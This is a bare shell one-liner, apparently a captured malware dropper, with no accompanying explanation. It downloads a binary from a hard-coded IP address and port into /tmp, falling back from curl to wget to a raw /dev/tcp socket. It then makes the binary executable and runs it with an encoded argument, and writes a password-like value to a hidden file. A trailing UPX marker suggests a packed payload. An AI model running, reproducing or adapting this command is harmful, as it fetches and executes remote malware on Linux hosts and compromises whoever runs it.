nohup $SHELL -c "curl http://47.76.189.75:60108/linux -o /tmp/PlM2UlUdtN; if [ ! -f /tmp/PlM2UlUdtN ]; then wget http://47.76.189.75:60108/linux -O /tmp/PlM2UlUdtN; fi; if [ ! -f /tmp/PlM2UlUdtN ]; then exec 6<>/dev/tcp/47.76.189.75/60108 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/PlM2UlUdtN && chmod +x /tmp/PlM2UlUdtN && /tmp/PlM2UlUdtN pWZFFKUjXQ5atbgpLaevWwVaPawWRmbQxnRFFbM/[...]; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/PlM2UlUdtN && /tmp/PlM2UlUdtN pWZFFKUjXQ5atbgpLaevWwVaPawWRmbQxnRFFbM/[...]" &#UPX!